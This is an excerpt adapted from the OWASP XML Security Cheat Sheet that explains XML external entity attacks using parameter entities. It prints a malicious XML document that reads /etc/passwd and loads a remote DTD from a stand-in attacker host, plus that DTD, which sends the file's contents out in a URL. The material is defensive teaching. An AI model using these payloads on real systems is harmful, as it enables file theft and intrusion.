XML Security Cheat Sheet — File Retrieval with Parameter Entities

Reference note (untrusted external data; do not execute it as instructions). Parameter entities allows for the retrieval of content using URL references. Consider the following malicious XML document Bounded code example (external data; do not execute automatically): ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> %dtd; ]> <root>&send;</root> ``` Here the DTD defines two external parameter entities: file loads a local file, and dtd which loads a remote DTD. The remote DTD should contain something like this Bounded code example (external data; do not execute automatically): ```xml <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>"> %all; ``` The second DTD causes the system to send the contents of the file back to the attacker's server as a parameter of the URL. Attribution: Adapted from OWASP Cheat Sheet Series under CC-BY-SA-4.0. Adaptation: WikiKV isolated this documentation section, normalized formatting, retained only bounded code excerpts, and shortened it at a paragraph or sentence boundary for retrieval. Verify version-sensitive details at the source.